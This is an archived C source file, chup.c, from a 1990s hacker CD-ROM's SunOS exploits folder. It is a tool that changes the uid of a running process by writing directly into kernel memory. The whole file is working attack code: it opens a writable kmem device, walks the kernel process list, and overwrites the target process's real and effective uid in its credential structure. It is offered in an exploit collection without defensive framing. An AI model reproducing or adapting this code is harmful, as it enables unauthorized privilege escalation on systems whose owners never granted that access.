home *** CD-ROM | disk | FTP | other *** search
/ For Beginners & Professional Hackers / cd.iso / hackers / exploits / sunos / sun-chui.c < prev    next >
Encoding:
C/C++ Source or Header  |  1997-02-23  |  4.2 KB  |  164 lines

  1.  
  2. /*
  3.  * chup.c - change uid of a running process.
  4.  * Should work on any 4.2/4.3BSD based kernel.
  5.  * Written by Avalon (avalon@coombs.anu.edu.au), 22/12/93.
  6.  
  7.  Ported to SunOS by x0d, me thinks. 
  8.  */
  9.  
  10. #include <stdio.h>
  11. #include <sys/types.h>
  12. #include <unistd.h>
  13. #include <sys/param.h>
  14. #define KERNEL
  15. #include <sys/file.h>
  16. #undef KERNEL
  17. #include <nlist.h>
  18. #include <sys/types.h>
  19. #include <sys/user.h>
  20. #include <sys/proc.h>
  21. #include <sys/ucred.h>
  22. /* #include <sys/processflags.h> /**/
  23.  
  24. #ifndef offsetof
  25. #define offsetof(t,m) (int)((&((t *)0L)->m))
  26. #endif
  27.  
  28. #define DEVKMEM "/home/new-kmem"
  29.  
  30. struct  nlist   names[] = {
  31.     { "_allproc", 0, 0, 0, 0},
  32.     { (char *)NULL, 0, 0, 0, 0 }
  33. };
  34.  
  35. static  int     kfd = -1, pid = -1, uid = -1, euid = -1, debug = 0;
  36.  
  37. void    fatal(status, msg)
  38. int     status;
  39. char    *msg;
  40. {
  41.     perror(msg);
  42.     exit(status);
  43. }
  44.  
  45. static  int     lock_on() {
  46.     return 0;
  47. }
  48.  
  49. static  int     lock_off() {
  50.     return 0;
  51. }
  52.  
  53. int     kopen() {
  54.     return (kfd = open(DEVKMEM, O_RDWR));
  55. }
  56.  
  57. void    kread(buf, pos, n)
  58. char    *buf;
  59. off_t   pos;
  60. int     n;
  61. {
  62.     if (!n) return;
  63.     if (debug) printf("read %d @%#x to %#x on %d\n", n, pos, buf, kfd);
  64.     if (lseek(kfd, pos, 0) == -1) fatal(-1, "k(r)lseek");
  65.     if (read(kfd, buf, n) != n) fatal(-1, "kread");
  66. }
  67.  
  68. int     kwrite(buf, pos, size)
  69. char    *buf;
  70. u_long  pos, size;
  71. {
  72.     if (lseek(kfd, pos, 0) == -1) fatal(-1, "k(w)lseek");
  73.     if (debug) printf("write %d to %#x from %#x on %d\n", size, pos, buf, kfd);
  74.     if (write(kfd, buf, size) == -1) fatal(-1, "kwrite");
  75.     return 0;
  76. }
  77.  
  78. int     change_proc() {
  79.     register int    i;
  80.     int     np;
  81.     struct proc    p,*next;
  82.     struct ucred ucr;
  83.  
  84.     if (nlist("/vmunix", names) == -1) fatal(-1, "nlist");
  85.     if (kopen() == -1) fatal(-1, DEVKMEM);
  86.     if (lock_on() == -1) return -1; 
  87.     if(names[0].n_value ==0) fatal(-1, "no allproc"); 
  88.     kill(pid, SIGSTOP);
  89.     kread((char *)&next, names[0].n_value, sizeof(struct proc *)); 
  90.     /* walk the linked list */
  91.     for (i = 0; next; i++) {
  92.         kread((char *)&p, (char *)next, sizeof(p));
  93.         next = p.p_nxt; 
  94.         if (p.p_pid == pid) {
  95.             if(!p.p_cred) fatal(-1, "no credentials with this process!");
  96.             kread((char *)&ucr, (char *)p.p_cred, sizeof(ucr));
  97.             printf("%d %d (uid %d, suid %d) uid %d euid %d\n",
  98.                    i, p.p_pid, p.p_uid, p.p_suid, ucr.cr_ruid,ucr.cr_uid); 
  99.             if (uid != -1) {
  100.               ucr.cr_ruid = uid;
  101.               kwrite((char *)&ucr + offsetof(struct ucred, cr_ruid),
  102.                    (char *)p.p_cred + offsetof(struct ucred, cr_ruid),
  103.                 sizeof(ucr.cr_ruid));
  104.             } 
  105.             if(euid != -1) {
  106.                ucr.cr_uid = euid;
  107.                kwrite((char *)&ucr + offsetof(struct ucred, cr_uid),
  108.                   (char *)p.p_cred + offsetof(struct ucred, cr_uid),
  109.                   sizeof(ucr.cr_uid));
  110.             }
  111.             printf("set to %d %d\n", uid, euid);
  112.             break;
  113.         } 
  114.     } 
  115.     kill(pid, SIGCONT); 
  116.     if (!next) (void) fprintf(stderr, "process %d not found\n", pid);
  117.     /* we're not going through that again :)
  118.     else {
  119.         kread((char *)p, (char *)pt + i * sizeof(*p), sizeof(*p));
  120.         kread((char *)&pcr, (char *)p->p_cred, sizeof(pcr));
  121.         if(pcr.pc_ucred != NOCRED) kread((char *)&ucr, (char *)pcr.pc_ucred, sizeof(ucr));
  122.         (void) printf("%d %d uid %d euid %d\n", i, p->p_pid, pcr.p_ruid,
  123.             (pcr.pc_ucred!=NOCRED)? ucr.cr_uid : pcr.p_ruid);
  124.     }
  125.     */
  126.     lock_off();
  127. }
  128.  
  129. void    printusage(name)
  130. char    *name;
  131. {
  132.     (void) fprintf(stderr, "usage:\n%s <pid> [uid [euid]]\n", name);
  133. }
  134.  
  135. int     do_args(argc, argv)
  136. int     argc;
  137. char    *argv[];
  138. {
  139.     if (argv[1] && !strcmp(argv[1], "-d")) argv++, argc--, debug = 1; 
  140.     if (argc == 1) {
  141.         printusage(argv[0]);
  142.         return -1;
  143.     } 
  144.     if (kill(pid = atoi(argv[1]), 0) == -1) {
  145.         perror(argv[0]);
  146.         return -1;
  147.     } 
  148.     if (argc > 2) {
  149.         uid = atoi(argv[2]);
  150.         if (argc > 3) euid = atoi(argv[3]);
  151.     } 
  152.     return 0;
  153. }
  154.  
  155. main(argc, argv)
  156. int     argc;
  157. char    *argv[];
  158. {
  159.     if (do_args(argc, argv)) exit(1);
  160.     return change_proc();
  161. }
  162.  
  163.  
  164.